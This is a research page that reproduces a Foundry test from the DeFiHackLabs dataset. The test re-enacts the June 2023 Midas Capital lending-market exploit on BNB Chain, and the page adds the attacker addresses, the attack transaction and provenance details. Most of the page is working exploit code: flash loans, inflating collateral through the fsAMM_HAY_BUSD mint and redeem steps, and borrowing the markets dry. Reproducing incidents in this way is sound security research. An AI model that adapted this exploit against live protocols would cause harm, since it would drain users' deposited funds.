Public reproduction file
src/test/2023-06/MidasCapitalXYZ_exp.sol
Public reproduction file for dataset entry MidasCapitalXYZ.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "./../basetest.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$600K8// Attacker : https://bscscan.com/address/0x4b92cc3452ef1e37528470495b86d3f9764707349// Attack Contract : https://bscscan.com/address/0xc40119c7269a5fa813d878bf83d14e3462fc8fde10// Vulnerable Contract : https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb11// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x4a304ff08851106691f626045b0f55d403e3a0958363bdf82b96e8ce7209c3a613// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb#code16// @Analysis17// Post-mortem : https://medium.com/midas-capital/midas-exploit-post-mortem-1ae26622299419interface IHAY_BUSDT_Vault {20 function deposit(uint256 amount, address to) external returns (uint256);21}23interface IankrBNB_WBNB {24 function swap(25 address recipient,26 bool zeroToOne,27 int256 amountRequired,28 uint160 limitSqrtPrice,29 bytes memory data30 ) external returns (int256 amount0, int256 amount1);31}33contract MidasXYZExploit is Test {34 IERC20 private constant ANKR = IERC20(0xf307910A4c7bbc79691fD374889b36d8531B08e3);35 IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);36 IERC20 private constant HAY = IERC20(0x0782b6d8c4551B9760e74c0545a9bCD90bdc41E5);37 IERC20 private constant BUSDT = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);38 IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));39 Uni_Pair_V2 private constant ankrBNB_ANKRV2 = Uni_Pair_V2(0x8028AC1195B6469de22929C4f329f96B06d65F25);40 Uni_Pair_V3 private constant ankrBNB_ANKRV3 = Uni_Pair_V3(0xC8Cbf9b12552c0B85fc368AA530cc31E00526E2F);41 Uni_Pair_V2 private constant HAY_BUSDT = Uni_Pair_V2(0x93B32a8dfE10e9196403dd111974E325219aec24);42 ISimplePriceOracle private constant Oracle = ISimplePriceOracle(0xB641c21124546e1c979b4C1EbF13aB00D43Ee8eA);43 ICErc20Delegate private constant fsAMM_HAY_BUSD =44 ICErc20Delegate(payable(0xF8527Dc5611B589CbB365aCACaac0d1DC70b25cB));45 Uni_Pair_V3 private constant WBNB_BUSDT = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);46 IHAY_BUSDT_Vault private constant HAY_BUSDT_Vault = IHAY_BUSDT_Vault(0x02706A482fc9f6B20238157B56763391a45bE60E);47 IankrBNB_WBNB private constant ankrBNB_WBNB = IankrBNB_WBNB(0x2F6C6e00E517944EE5EFE310cd0b98A3fC61Cb98);49 uint256 private constant blocknumToForkFrom = 29_185_768;50 uint160 private constant sqrtPriceLimitX96 = 4_295_128_740;51 Borrower private borrower;53 function setUp() public {54 vm.createSelectFork("bsc", blocknumToForkFrom);55 vm.label(address(ANKR), "ANKR");56 vm.label(address(ankrBNB_ANKRV2), "ankrBNB_ANKRV2");57 vm.label(address(ankrBNB_ANKRV3), "ankrBNB_ANKRV3");58 vm.label(address(HAY_BUSDT), "HAY_BUSDT");59 vm.label(address(Oracle), "Oracle");60 vm.label(address(fsAMM_HAY_BUSD), "fsAMM_HAY_BUSD");61 vm.label(address(WBNB_BUSDT), "WBNB_BUSDT");62 }64 function testExploit() public {65 // Initial HAY and BUSDT amounts transferred by exploiter to this contract before attack start66 deal(address(HAY), address(this), 220_000e18);67 deal(address(BUSDT), address(this), 23_000e18);69 emit log_named_decimal_uint(70 "Exploiter ankrBNB balance before attack", ankrBNB.balanceOf(address(this)), ankrBNB.decimals()71 );73 emit log_named_decimal_uint(74 "Exploiter ANKR balance before attack", ANKR.balanceOf(address(this)), ANKR.decimals()75 );77 ankrBNB_ANKRV2.swap(0, ANKR.balanceOf(address(ankrBNB_ANKRV2)) - 1, address(this), bytes("_"));79 emit log_named_decimal_uint(80 "Exploiter ANKR balance after attack", ANKR.balanceOf(address(this)), ANKR.decimals()81 );83 emit log_named_decimal_uint(84 "Exploiter ankrBNB balance after attack", ankrBNB.balanceOf(address(this)), ankrBNB.decimals()85 );86 }88 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {89 borrower = new Borrower();90 ANKR.transfer(address(borrower), _amount1);91 uint256 flashAmount = ANKR.balanceOf(address(ankrBNB_ANKRV3));92 bytes memory data = abi.encode(flashAmount, _amount1);93 ankrBNB_ANKRV3.flash(address(borrower), 0, ANKR.balanceOf(address(ankrBNB_ANKRV3)), data);94 }96 function algebraFlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {97 (uint256 flashRepayAmountV3, uint256 flashRepayAmountV2) = abi.decode(data, (uint256, uint256));98 uint256 liquidityMinted = transferTokensAndMintLiqudity(20_000e18);99 HAY_BUSDT.approve(address(fsAMM_HAY_BUSD), type(uint256).max);100 fsAMM_HAY_BUSD.mint(liquidityMinted);101 fsAMM_HAY_BUSD.redeem(fsAMM_HAY_BUSD.balanceOf(address(this)) - 1001);102 HAY_BUSDT.approve(address(HAY_BUSDT_Vault), type(uint256).max);103 HAY_BUSDT_Vault.deposit(HAY_BUSDT.balanceOf(address(this)), address(fsAMM_HAY_BUSD));104 fsAMM_HAY_BUSD.transfer(address(borrower), 1001);105 borrower.execute();106 Minter minter = new Minter();107 ankrBNB.transfer(address(minter), 115e18);108 minter.mint();109 uint256 amountRequired = ankrBNB.balanceOf(address(this)) - 1e18;110 ankrBNB_WBNB.swap(111 address(this),112 true,113 int256(amountRequired),114 sqrtPriceLimitX96, // limitSqrtPrice115 bytes("")116 );118 WBNB_BUSDT.swap(address(this), true, int256(WBNB.balanceOf(address(this)) - 1e18), sqrtPriceLimitX96, bytes(""));119 liquidityMinted = transferTokensAndMintLiqudity(HAY.balanceOf(address(this)));120 HAY_BUSDT_Vault.deposit(liquidityMinted, address(fsAMM_HAY_BUSD));121 borrower.exit();122 ANKR.transfer(address(ankrBNB_ANKRV3), flashRepayAmountV3 + fee1);123 ANKR.transfer(address(ankrBNB_ANKRV2), (flashRepayAmountV2 * 10_026) / 10_000);124 }126 function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {127 ankrBNB.transfer(msg.sender, uint256(amount0Delta));128 }130 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata _data) external {131 WBNB.transfer(msg.sender, uint256(amount0Delta));132 }134 function transferTokensAndMintLiqudity(135 uint256 amount136 ) private returns (uint256 liquidity) {137 (uint112 reserveHAY, uint112 reserveBUSDT,) = HAY_BUSDT.getReserves();138 uint256 transferAmountBUSDT = (amount * reserveBUSDT) / reserveHAY;139 HAY.transfer(address(HAY_BUSDT), amount);140 BUSDT.transfer(address(HAY_BUSDT), transferAmountBUSDT);141 return HAY_BUSDT.mint(address(this));142 }143}145contract Borrower is Test {146 IERC20 private constant ANKR = IERC20(0xf307910A4c7bbc79691fD374889b36d8531B08e3);147 ICErc20Delegate private constant fANKR = ICErc20Delegate(payable(0x13aE975c5A1198e4F47c68C31C1230694DC44A57));148 ICErc20Delegate private constant fankrBNB = ICErc20Delegate(payable(0xb2b01D6f953A28ba6C8f9E22986f5bDDb7653aEa));149 ICErc20Delegate private constant fHAY = ICErc20Delegate(payable(0x10b6f851225c203eE74c369cE876BEB56379FCa3));150 ICErc20Delegate private constant fsAMM_HAY_BUSD =151 ICErc20Delegate(payable(0xF8527Dc5611B589CbB365aCACaac0d1DC70b25cB));152 ICointroller private constant Unitroller = ICointroller(0x1851e32F34565cb95754310b031C5a2Fc0a8a905);153 IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);154 IERC20 private constant HAY = IERC20(0x0782b6d8c4551B9760e74c0545a9bCD90bdc41E5);156 function execute() external {157 ANKR.approve(address(fANKR), type(uint256).max);158 fANKR.mint(ANKR.balanceOf(address(this)));160 address[] memory fTokens = new address[](2);161 fTokens[0] = address(fANKR);162 fTokens[1] = address(fsAMM_HAY_BUSD);163 Unitroller.enterMarkets(fTokens);164 uint256 borrowAmount = fankrBNB.getCash();165 fankrBNB.borrow(borrowAmount);166 borrowAmount = fHAY.borrow(borrowAmount);167 ankrBNB.transfer(msg.sender, ankrBNB.balanceOf(address(this)));168 HAY.transfer(msg.sender, HAY.balanceOf(address(this)));169 ANKR.transfer(msg.sender, ANKR.balanceOf(address(this)));170 }172 function exit() external {173 fsAMM_HAY_BUSD.transfer(msg.sender, 1);174 uint256 borrowAmount = fankrBNB.getCash();175 fankrBNB.borrow(borrowAmount);176 Unitroller.exitMarket(address(fANKR));177 borrowAmount = (686_000e18 - fANKR.totalBorrowsCurrent()) - 1;178 fANKR.borrow(borrowAmount);179 fANKR.redeem(fANKR.balanceOf(address(this)));180 ankrBNB.transfer(msg.sender, ankrBNB.balanceOf(address(this)));181 ANKR.transfer(msg.sender, ANKR.balanceOf(address(this)));182 }183}185contract Minter is Test {186 IERC20 private constant ankrBNB = IERC20(0x52F24a5e03aee338Da5fd9Df68D2b6FAe1178827);187 ICErc20Delegate private constant fankrBNB = ICErc20Delegate(payable(0xb2b01D6f953A28ba6C8f9E22986f5bDDb7653aEa));189 function mint() external {190 ankrBNB.approve(address(fankrBNB), type(uint256).max);191 fankrBNB.mint(ankrBNB.balanceOf(address(this)));192 }193}Analysis
Dataset entry
Public Foundry test for “MidasCapitalXYZ” (2023-06-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4b92cc3452ef1e37528470495b86d3f976470734
- Attack Contract
0xc40119c7269a5fa813d878bf83d14e3462fc8fde
- Vulnerable Contract
0xf8527dc5611b589cbb365acacaac0d1dc70b25cb
- Attack Tx
0x4a304ff08851106691f626045b0f55d403e3a0958363bdf82b96e8ce7209c3a6
- Post: https://medium.com/midas-capital/midas-exploit-post-mortem-1ae266222994
- Explorer: https://bscscan.com/address/0x4b92cc3452ef1e37528470495b86d3f976470734
- Explorer: https://bscscan.com/address/0xc40119c7269a5fa813d878bf83d14e3462fc8fde
- Explorer: https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb
- Explorer: https://bscscan.com/address/0xf8527dc5611b589cbb365acacaac0d1dc70b25cb#code
File record
- Name
- MidasCapitalXYZ
- Path
- src/test/2023-06/MidasCapitalXYZ_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 26756de56a337b54092b04478577916fbef34c3b
- Language
- Solidity
- Size
- 194 lines
- Date
- 2023-06-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/MidasCapitalXYZ_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 26756de56a337b54092b04478577916fbef34c3b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.